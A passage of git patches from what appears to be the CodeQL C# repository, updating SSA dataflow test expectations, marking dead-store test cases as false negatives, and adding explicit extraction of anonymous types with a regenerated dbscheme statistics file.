def(y) | Capture.cs:94:13:94:18 | Int32 y = ... | | Capture.cs:96:12:100:9 | SSA capture def(y) | Capture.cs:96:12:100:9 | (...) => ... | | Capture.cs:98:17:98:21 | SSA def(x) | Capture.cs:98:17:98:21 | Int32 x = ... | +| Capture.cs:102:13:102:18 | SSA def(z) | Capture.cs:102:13:102:18 | Int32 z = ... | | Capture.cs:105:13:105:17 | SSA def(z) | Capture.cs:105:13:105:17 | ... = ... | | Capture.cs:114:13:114:18 | SSA def(a) | Capture.cs:114:13:114:18 | Int32 a = ... | | Capture.cs:115:9:119:9 | SSA capture def(a) | Capture.cs:115:9:119:9 | M1 | | Capture.cs:117:17:117:21 | SSA def(x) | Capture.cs:117:17:117:21 | Int32 x = ... | +| Capture.cs:122:13:122:18 | SSA def(b) | Capture.cs:122:13:122:18 | Int32 b = ... | | Capture.cs:125:13:125:17 | SSA def(b) | Capture.cs:125:13:125:17 | ... = ... | | Capture.cs:130:13:130:18 | SSA def(c) | Capture.cs:130:13:130:18 | Int32 c = ... | | Capture.cs:133:13:133:17 | SSA def(c) | Capture.cs:133:13:133:17 | ... = ... | @@ -62,6 +64,7 @@ | Capture.cs:144:9:144:12 | SSA call def(d) | Capture.cs:144:9:144:12 | call to local function M4 | | Capture.cs:148:9:152:9 | SSA capture def(e) | Capture.cs:148:9:152:9 | M5 | | Capture.cs:154:13:154:18 | SSA def(f) | Capture.cs:154:13:154:18 | Int32 f = ... | +| Capture.cs:158:13:158:17 | SSA def(f) | Capture.cs:158:13:158:17 | ... = ... | | Capture.cs:163:9:166:9 | SSA capture def(g) | Capture.cs:163:9:166:9 | M7 | | Capture.cs:171:13:171:17 | SSA def(h) | Capture.cs:171:13:171:17 | ... = ... | | Capture.cs:174:17:174:21 | SSA def(h) | Capture.cs:174:17:174:21 | ... = ... | @@ -206,8 +209,6 @@ | Fields.cs:102:9:102:28 | SSA def(this.Field) | Fields.cs:102:9:102:28 | ... = ... | | Fields.cs:107:33:107:33 | SSA param(f) | Fields.cs:107:33:107:33 | f | | Fields.cs:109:10:109:10 | SSA entry def(this.Field) | Fields.cs:109:10:109:10 | K | -| Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field) | Fields.cs:109:10:109:10 | K | -| Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field.xs) | Fields.cs:109:10:109:10 | K | | Fields.cs:114:9:114:22 | SSA call def(this.Field) | Fields.cs:114:9:114:22 | call to method SetField | | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | Fields.cs:114:9:114:22 | call to method SetField | | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:114:9:114:22 | call to method SetField | @@ -281,8 +282,6 @@ | Properties.cs:85:24:85:46 | SSA capture def(b) | Properties.cs:85:24:85:46 | (...) => ... | | Properties.cs:106:37:106:37 | SSA param(p) | Properties.cs:106:37:106:37 | p | | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | Properties.cs:108:10:108:10 | K | -| Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props) | Properties.cs:108:10:108:10 | K | -| Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props.xs) | Properties.cs:108:10:108:10 | K | | Properties.cs:113:9:113:22 | SSA call def(this.Props) | Properties.cs:113:9:113:22 | call to method SetProps | | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | Properties.cs:113:9:113:22 | call to method SetProps | | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:113:9:113:22 | call to method SetProps | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaExplicitDef.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaExplicitDef.expected index 6f5c8a4238b..45f023ec4ef 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaExplicitDef.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaExplicitDef.expected @@ -33,15 +33,18 @@ | Capture.cs:92:18:92:18 | d | Capture.cs:92:18:92:18 | SSA param(d) | Capture.cs:92:18:92:18 | d | | Capture.cs:94:13:94:13 | y | Capture.cs:94:13:94:18 | SSA def(y) | Capture.cs:94:13:94:18 | Int32 y = ... | | Capture.cs:98:17:98:17 | x | Capture.cs:98:17:98:21 | SSA def(x) | Capture.cs:98:17:98:21 | Int32 x = ... | +| Capture.cs:102:13:102:13 | z | Capture.cs:102:13:102:18 | SSA def(z) | Capture.cs:102:13:102:18 | Int32 z = ... | | Capture.cs:102:13:102:13 | z | Capture.cs:105:13:105:17 | SSA def(z) | Capture.cs:105:13:105:17 | ... = ... | | Capture.cs:114:13:114:13 | a | Capture.cs:114:13:114:18 | SSA def(a) | Capture.cs:114:13:114:18 | Int32 a = ... | | Capture.cs:117:17:117:17 | x | Capture.cs:117:17:117:21 | SSA def(x) | Capture.cs:117:17:117:21 | Int32 x = ... | +| Capture.cs:122:13:122:13 | b | Capture.cs:122:13:122:18 | SSA def(b) | Capture.cs:122:13:122:18 | Int32 b = ... | | Capture.cs:122:13:122:13 | b | Capture.cs:125:13:125:17 | SSA def(b) | Capture.cs:125:13:125:17 | ... = ... | | Capture.cs:130:13:130:13 | c | Capture.cs:130:13:130:18 | SSA def(c) | Capture.cs:130:13:130:18 | Int32 c = ... | | Capture.cs:130:13:130:13 | c | Capture.cs:133:13:133:17 | SSA def(c) | Capture.cs:133:13:133:17 | ... = ... | | Capture.cs:139:13:139:13 | d | Capture.cs:139:13:139:18 | SSA def(d) | Capture.cs:139:13:139:18 | Int32 d = ... | | Capture.cs:139:13:139:13 | d | Capture.cs:142:13:142:17 | SSA def(d) | Capture.cs:142:13:142:17 | ... = ... | | Capture.cs:154:13:154:13 | f | Capture.cs:154:13:154:18 | SSA def(f) | Capture.cs:154:13:154:18 | Int32 f = ... | +| Capture.cs:154:13:154:13 | f | Capture.cs:158:13:158:17 | SSA def(f) | Capture.cs:158:13:158:17 | ... = ... | | Capture.cs:168:13:168:13 | h | Capture.cs:171:13:171:17 | SSA def(h) | Capture.cs:171:13:171:17 | ... = ... | | Capture.cs:168:13:168:13 | h | Capture.cs:174:17:174:21 | SSA def(h) | Capture.cs:174:17:174:21 | ... = ... | | Capture.cs:182:17:182:17 | i | Capture.cs:182:17:182:21 | SSA def(i) | Capture.cs:182:17:182:21 | Int32 i = ... | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaImplicitQualifier.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaImplicitQualifier.expected index 2b3febca122..c64c419cb48 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaImplicitQualifier.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaImplicitQualifier.expected @@ -4,8 +4,12 @@ | Fields.cs:98:20:98:32 | f.Field.Field | Fields.cs:97:9:97:30 | SSA qualifier def(f.Field.Field) | Fields.cs:97:9:97:30 | SSA def(f.Field) | | Fields.cs:99:16:99:34 | f.Field.Field.Field | Fields.cs:97:9:97:30 | SSA qualifier def(f.Field.Field.Field) | Fields.cs:97:9:97:30 | SSA qualifier def(f.Field.Field) | | Fields.cs:100:16:100:40 | f.Field.Field.Field.Field | Fields.cs:97:9:97:30 | SSA qualifier def(f.Field.Field.Field.Field) | Fields.cs:97:9:97:30 | SSA qualifier def(f.Field.Field.Field) | +| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field) | Fields.cs:109:10:109:10 | SSA entry def(this.Field) | +| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field) | | Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | | OutRef.cs:19:32:19:38 | t.Field | OutRef.cs:18:13:18:28 | SSA qualifier def(t.Field) | OutRef.cs:18:13:18:28 | SSA def(t) | | Properties.cs:31:19:31:22 | f.xs | Properties.cs:30:13:30:32 | SSA qualifier def(f.xs) | Properties.cs:30:13:30:32 | SSA def(f) | | Properties.cs:31:19:31:22 | f.xs | Properties.cs:49:13:49:32 | SSA qualifier def(f.xs) | Properties.cs:49:13:49:32 | SSA def(f) | +| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | +| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props) | | Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | diff --git a/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected b/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected index 2d9f6d5e58d..f3bb6f1461d 100644 --- a/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected +++ b/csharp/ql/test/library-tests/dataflow/ssa/SsaUltimateDef.expected @@ -56,10 +56,12 @@ | Capture.cs:94:13:94:13 | y | Capture.cs:94:13:94:18 | SSA def(y) | Capture.cs:94:13:94:18 | SSA def(y) | | Capture.cs:94:13:94:13 | y | Capture.cs:96:12:100:9 | SSA capture def(y) | Capture.cs:96:12:100:9 | SSA capture def(y) | | Capture.cs:98:17:98:17 | x | Capture.cs:98:17:98:21 | SSA def(x) | Capture.cs:98:17:98:21 | SSA def(x) | +| Capture.cs:102:13:102:13 | z | Capture.cs:102:13:102:18 | SSA def(z) | Capture.cs:102:13:102:18 | SSA def(z) | | Capture.cs:102:13:102:13 | z | Capture.cs:105:13:105:17 | SSA def(z) | Capture.cs:105:13:105:17 | SSA def(z) | | Capture.cs:114:13:114:13 | a | Capture.cs:114:13:114:18 | SSA def(a) | Capture.cs:114:13:114:18 | SSA def(a) | | Capture.cs:114:13:114:13 | a | Capture.cs:115:9:119:9 | SSA capture def(a) | Capture.cs:115:9:119:9 | SSA capture def(a) | | Capture.cs:117:17:117:17 | x | Capture.cs:117:17:117:21 | SSA def(x) | Capture.cs:117:17:117:21 | SSA def(x) | +| Capture.cs:122:13:122:13 | b | Capture.cs:122:13:122:18 | SSA def(b) | Capture.cs:122:13:122:18 | SSA def(b) | | Capture.cs:122:13:122:13 | b | Capture.cs:125:13:125:17 | SSA def(b) | Capture.cs:125:13:125:17 | SSA def(b) | | Capture.cs:130:13:130:13 | c | Capture.cs:130:13:130:18 | SSA def(c) | Capture.cs:130:13:130:18 | SSA def(c) | | Capture.cs:130:13:130:13 | c | Capture.cs:133:13:133:17 | SSA def(c) | Capture.cs:133:13:133:17 | SSA def(c) | @@ -71,6 +73,7 @@ | Capture.cs:139:13:139:13 | d | Capture.cs:144:9:144:12 | SSA call def(d) | Capture.cs:144:9:144:12 | SSA call def(d) | | Capture.cs:147:13:147:13 | e | Capture.cs:148:9:152:9 | SSA capture def(e) | Capture.cs:148:9:152:9 | SSA capture def(e) | | Capture.cs:154:13:154:13 | f | Capture.cs:154:13:154:18 | SSA def(f) | Capture.cs:154:13:154:18 | SSA def(f) | +| Capture.cs:154:13:154:13 | f | Capture.cs:158:13:158:17 | SSA def(f) | Capture.cs:158:13:158:17 | SSA def(f) | | Capture.cs:162:13:162:13 | g | Capture.cs:163:9:166:9 | SSA capture def(g) | Capture.cs:163:9:166:9 | SSA capture def(g) | | Capture.cs:168:13:168:13 | h | Capture.cs:171:13:171:17 | SSA def(h) | Capture.cs:171:13:171:17 | SSA def(h) | | Capture.cs:168:13:168:13 | h | Capture.cs:174:17:174:21 | SSA def(h) | Capture.cs:174:17:174:21 | SSA def(h) | @@ -275,11 +278,11 @@ | Fields.cs:115:20:115:29 | this.Field | Fields.cs:109:10:109:10 | SSA entry def(this.Field) | Fields.cs:109:10:109:10 | SSA entry def(this.Field) | | Fields.cs:115:20:115:29 | this.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field) | Fields.cs:109:10:109:10 | SSA entry def(this.Field) | | Fields.cs:115:20:115:29 | this.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field) | Fields.cs:114:9:114:22 | SSA call def(this.Field) | -| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field) | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field) | -| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field) | +| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field) | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field) | +| Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field) | | Fields.cs:115:20:115:35 | this.Field.Field | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | Fields.cs:114:9:114:22 | SSA call def(this.Field.Field) | -| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field.xs) | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field.xs) | -| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:109:10:109:10 | SSA entry def(this.Field.Field.xs) | +| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field.xs) | +| Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:109:10:109:10 | SSA qualifier def(this.Field.Field.xs) | | Fields.cs:116:21:116:39 | this.Field.Field.xs | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | Fields.cs:114:9:114:22 | SSA qualifier def(this.Field.Field.xs) | | OutRef.cs:9:13:9:13 | j | OutRef.cs:9:13:9:17 | SSA def(j) | OutRef.cs:9:13:9:17 | SSA def(j) | | OutRef.cs:9:13:9:13 | j | OutRef.cs:10:32:10:32 | SSA def(j) | OutRef.cs:10:32:10:32 | SSA def(j) | @@ -396,11 +399,11 @@ | Properties.cs:114:20:114:29 | this.Props | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props) | | Properties.cs:114:20:114:29 | this.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props) | Properties.cs:113:9:113:22 | SSA call def(this.Props) | -| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props) | -| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props) | +| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props) | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props) | +| Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props) | | Properties.cs:114:20:114:35 | this.Props.Props | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | Properties.cs:113:9:113:22 | SSA call def(this.Props.Props) | -| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props.xs) | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props.xs) | -| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:108:10:108:10 | SSA entry def(this.Props.Props.xs) | +| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props.xs) | +| Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:108:10:108:10 | SSA qualifier def(this.Props.Props.xs) | | Properties.cs:115:21:115:39 | this.Props.Props.xs | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | Properties.cs:113:9:113:22 | SSA qualifier def(this.Props.Props.xs) | | Splitting.cs:3:18:3:18 | b | Splitting.cs:3:18:3:18 | SSA param(b) | Splitting.cs:3:18:3:18 | SSA param(b) | | Splitting.cs:5:13:5:13 | x | Splitting.cs:7:13:7:19 | [b (line 3): true] SSA def(x) | Splitting.cs:7:13:7:19 | [b (line 3): true] SSA def(x) | diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs index b787401f941..64f903f80ea 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.cs @@ -194,7 +194,7 @@ public class Captured void M2() { - var x = M6(); // BAD + var x = M6(); // BAD [FALSE NEGATIVE] Action a = () => { x = 1; // GOOD @@ -208,7 +208,7 @@ public class Captured int x; Action a = () => { - x = 1; // BAD + x = 1; // BAD [FALSE NEGATIVE] }; a(); } diff --git a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.expected b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.expected index 9720249c28d..9fe67ecf854 100644 --- a/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.expected +++ b/csharp/ql/test/query-tests/Dead Code/DeadStoreOfLocal/DeadStoreOfLocal.expected @@ -7,8 +7,6 @@ | DeadStoreOfLocal.cs:101:13:101:37 | ... = ... | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:94:40:94:44 | extra | extra | | DeadStoreOfLocal.cs:104:13:104:37 | ... = ... | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:94:16:94:20 | info1 | info1 | | DeadStoreOfLocal.cs:142:26:142:27 | Exception ex | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:142:26:142:27 | ex | ex | -| DeadStoreOfLocal.cs:197:13:197:20 | Int32 x = ... | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:197:13:197:13 | x | x | -| DeadStoreOfLocal.cs:211:13:211:17 | ... = ... | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:208:13:208:13 | x | x | | DeadStoreOfLocal.cs:246:17:246:24 | Int32 y = ... | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:246:17:246:17 | y | y | | DeadStoreOfLocal.cs:261:17:261:21 | Int32 x = ... | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:261:17:261:17 | x | x | | DeadStoreOfLocal.cs:289:23:289:28 | Object v1 | This assignment to $@ is useless, since its value is never read. | DeadStoreOfLocal.cs:289:27:289:28 | v1 | v1 | From fdf5cf9dd0aafb4491a34ccc897c57993181ab70 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Mon, 16 Nov 2020 10:44:30 +0100 Subject: [PATCH 0459/1241] C#: Extract anonymous types explicitly --- .../Semmle.Extraction.CSharp/Entities/Types/NamedType.cs | 5 +++++ csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs | 5 +++++ csharp/ql/src/semmle/code/csharp/Type.qll | 2 +- csharp/ql/src/semmlecode.csharp.dbscheme | 3 +++ 4 files changed, 14 insertions(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs index 5812c4a9303..bc48b30091c 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/NamedType.cs @@ -87,6 +87,11 @@ namespace Semmle.Extraction.CSharp.Entities foreach (var l in Locations) trapFile.type_location(this, l); } + + if (symbol.IsAnonymousType) + { + trapFile.anonymous_types(this); + } } private readonly Lazy<Type[]> typeArgumentsLazy; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 0e969e3d112..254aa367570 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -271,6 +271,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("extend", type, super); } + internal static void anonymous_types(this TextWriter trapFile, Type type) + { + trapFile.WriteTuple("anonymous_types", type); + } + internal static void field_location(this TextWriter trapFile, Field field, Location location) { trapFile.WriteTuple("field_location", field, location); diff --git a/csharp/ql/src/semmle/code/csharp/Type.qll b/csharp/ql/src/semmle/code/csharp/Type.qll index c86d936189a..17b4c168f6c 100644 --- a/csharp/ql/src/semmle/code/csharp/Type.qll +++ b/csharp/ql/src/semmle/code/csharp/Type.qll @@ -746,7 +746,7 @@ class Class extends RefType, @class_type { * ``` */ class AnonymousClass extends Class { - AnonymousClass() { this.getName().matches("<%") } + AnonymousClass() { anonymous_types(this) } } /** diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 094972aab8c..26249c105a8 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -413,6 +413,9 @@ extend( unique int sub: @type ref, int super: @type_or_ref ref); +anonymous_types( + unique int id: @type ref); + @interface_or_ref = @interface_type | @typeref; implement( From f971f42bb1f5236f7eb9b606487d2b7fd85e51db Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Tue, 5 Jan 2021 08:46:33 +0100 Subject: [PATCH 0460/1241] Add new stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 5517 +++++++++-------- 1 file changed, 2764 insertions(+), 2753 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 2f1944ff996..185b464f7b6 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -25,7 +25,7 @@ </e> <e> <k>@duplication</k> -<v>22762</v> +<v>22778</v> </e> <e> <k>@similarity</k> @@ -33,31 +33,31 @@ </e> <e> <k>@location_default</k> -<v>14071713</v> +<v>14071803</v> </e> <e> <k>@assembly</k> -<v>4203</v> +<v>4206</v> </e> <e> <k>@file</k> -<v>42516</v> +<v>42547</v> </e> <e> <k>@folder</k> -<v>16959</v> +<v>16971</v> </e> <e> <k>@namespace</k> -<v>21967</v> +<v>21983</v> </e> <e> <k>@namespace_declaration</k> -<v>19783</v> +<v>19797</v> </e> <e> <k>@using_namespace_directive</k> -<v>144423</v> +<v>144525</v> </e> <e> <k>@using_static_directive</k> @@ -117,23 +117,23 @@ </e> <e> <k>@enum_type</k> -<v>11966</v> +<v>11975</v> </e> <e> <k>@struct_type</k> -<v>49724</v> +<v>49759</v> </e> <e> <k>@class_type</k> -<v>305459</v> +<v>305676</v> </e> <e> <k>@interface_type</k> -<v>178323</v> +<v>178449</v> </e> <e> <k>@delegate_type</k> -<v>107694</v> +<v>107770</v> </e> <e> <k>@null_type</k> @@ -141,7 +141,7 @@ </e> <e> <k>@type_parameter</k> -<v>202836</v> +<v>202980</v> </e> <e> <k>@pointer_type</k> @@ -153,7 +153,7 @@ </e> <e> <k>@array_type</k> -<v>9133</v> +<v>9139</v> </e> <e> <k>@void_type</k> @@ -165,7 +165,7 @@ </e> <e> <k>@tuple_type</k> -<v>1784</v> +<v>1786</v> </e> <e> <k>@uint_ptr_type</k> @@ -185,19 +185,19 @@ </e> <e> <k>@typeref</k> -<v>235069</v> +<v>235236</v> </e> <e> <k>@attribute</k> -<v>750169</v> +<v>750685</v> </e> <e> <k>@type_mention</k> -<v>1268774</v> +<v>1269672</v> </e> <e> <k>@oblivious</k> -<v>1316</v> +<v>1317</v> </e> <e> <k>@not_annotated</k> @@ -205,11 +205,11 @@ </e> <e> <k>@annotated</k> -<v>119</v> +<v>120</v> </e> <e> <k>@type_parameter_constraints</k> -<v>611504</v> +<v>611937</v> </e> <e> <k>@modifier</k> @@ -217,47 +217,47 @@ </e> <e> <k>@property</k> -<v>424028</v> +<v>424328</v> </e> <e> <k>@indexer</k> -<v>17062</v> +<v>17074</v> </e> <e> <k>@getter</k> -<v>440856</v> +<v>441168</v> </e> <e> <k>@setter</k> -<v>127677</v> +<v>127768</v> </e> <e> <k>@event</k> -<v>15248</v> +<v>15259</v> </e> <e> <k>@add_event_accessor</k> -<v>15248</v> +<v>15259</v> </e> <e> <k>@remove_event_accessor</k> -<v>15248</v> +<v>15259</v> </e> <e> <k>@operator</k> -<v>12424</v> +<v>12433</v> </e> <e> <k>@method</k> -<v>1118182</v> +<v>1118739</v> </e> <e> <k>@constructor</k> -<v>277966</v> +<v>278163</v> </e> <e> <k>@destructor</k> -<v>443</v> +<v>444</v> </e> <e> <k>@local_function</k> @@ -265,15 +265,15 @@ </e> <e> <k>@addressable_field</k> -<v>370905</v> +<v>371167</v> </e> <e> <k>@constant</k> -<v>185433</v> +<v>185564</v> </e> <e> <k>@addressable_local_variable</k> -<v>162437</v> +<v>162441</v> </e> <e> <k>@local_constant</k> @@ -285,39 +285,39 @@ </e> <e> <k>@parameter</k> -<v>2420521</v> +<v>2422000</v> </e> <e> <k>@block_stmt</k> -<v>308410</v> +<v>308628</v> </e> <e> <k>@expr_stmt</k> -<v>367643</v> +<v>367903</v> </e> <e> <k>@return_stmt</k> -<v>96144</v> +<v>96212</v> </e> <e> <k>@using_block_stmt</k> -<v>1141</v> +<v>1142</v> </e> <e> <k>@var_decl_stmt</k> -<v>147908</v> +<v>147912</v> </e> <e> <k>@if_stmt</k> -<v>119110</v> +<v>119194</v> </e> <e> <k>@switch_stmt</k> -<v>3047</v> +<v>3049</v> </e> <e> <k>@while_stmt</k> -<v>4541</v> +<v>4545</v> </e> <e> <k>@do_stmt</k> @@ -325,27 +325,27 @@ </e> <e> <k>@for_stmt</k> -<v>6963</v> +<v>6968</v> </e> <e> <k>@foreach_stmt</k> -<v>5359</v> +<v>5362</v> </e> <e> <k>@break_stmt</k> -<v>10907</v> +<v>10915</v> </e> <e> <k>@continue_stmt</k> -<v>2186</v> +<v>2187</v> </e> <e> <k>@goto_stmt</k> -<v>2698</v> +<v>2700</v> </e> <e> <k>@goto_case_stmt</k> -<v>347</v> +<v>348</v> </e> <e> <k>@goto_default_stmt</k> @@ -353,7 +353,7 @@ </e> <e> <k>@throw_stmt</k> -<v>74298</v> +<v>74350</v> </e> <e> <k>@yield_stmt</k> @@ -361,7 +361,7 @@ </e> <e> <k>@try_stmt</k> -<v>4322</v> +<v>4325</v> </e> <e> <k>@checked_stmt</k> @@ -373,7 +373,7 @@ </e> <e> <k>@lock_stmt</k> -<v>1659</v> +<v>1660</v> </e> <e> <k>@const_decl_stmt</k> @@ -389,19 +389,19 @@ </e> <e> <k>@fixed_stmt</k> -<v>1125</v> +<v>1126</v> </e> <e> <k>@label_stmt</k> -<v>1008</v> +<v>1009</v> </e> <e> <k>@catch</k> -<v>3438</v> +<v>3440</v> </e> <e> <k>@case_stmt</k> -<v>22434</v> +<v>22450</v> </e> <e> <k>@local_function_stmt</k> @@ -413,15 +413,15 @@ </e> <e> <k>@bool_literal_expr</k> -<v>69491</v> +<v>69540</v> </e> <e> <k>@int_literal_expr</k> -<v>754082</v> +<v>756452</v> </e> <e> <k>@long_literal_expr</k> -<v>324</v> +<v>325</v> </e> <e> <k>@double_literal_expr</k> @@ -429,63 +429,63 @@ </e> <e> <k>@string_literal_expr</k> -<v>412242</v> +<v>412534</v> </e> <e> <k>@null_literal_expr</k> -<v>107754</v> +<v>107831</v> </e> <e> <k>@local_variable_access_expr</k> -<v>524140</v> +<v>524151</v> </e> <e> <k>@parameter_access_expr</k> -<v>357386</v> +<v>357639</v> </e> <e> <k>@field_access_expr</k> -<v>460172</v> +<v>460497</v> </e> <e> <k>@property_access_expr</k> -<v>359528</v> +<v>359783</v> </e> <e> <k>@type_access_expr</k> -<v>346978</v> +<v>346969</v> </e> <e> <k>@typeof_expr</k> -<v>30082</v> +<v>30103</v> </e> <e> <k>@method_invocation_expr</k> -<v>548142</v> +<v>548153</v> </e> <e> <k>@cast_expr</k> -<v>262747</v> +<v>262933</v> </e> <e> <k>@object_creation_expr</k> -<v>62842</v> +<v>62886</v> </e> <e> <k>@array_creation_expr</k> -<v>179114</v> +<v>179466</v> </e> <e> <k>@array_init_expr</k> -<v>178938</v> +<v>179290</v> </e> <e> <k>@local_var_decl_expr</k> -<v>163743</v> +<v>163747</v> </e> <e> <k>@char_literal_expr</k> -<v>15891</v> 